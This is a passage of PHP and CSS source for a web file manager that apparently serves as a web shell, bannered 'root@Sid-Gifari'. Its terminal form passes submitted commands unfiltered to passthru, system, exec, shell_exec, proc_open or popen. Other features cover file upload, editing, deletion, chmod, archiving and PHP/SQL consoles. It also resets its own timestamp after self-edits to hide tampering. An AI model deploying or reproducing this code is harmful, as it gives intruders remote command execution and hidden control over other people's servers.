Ff9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
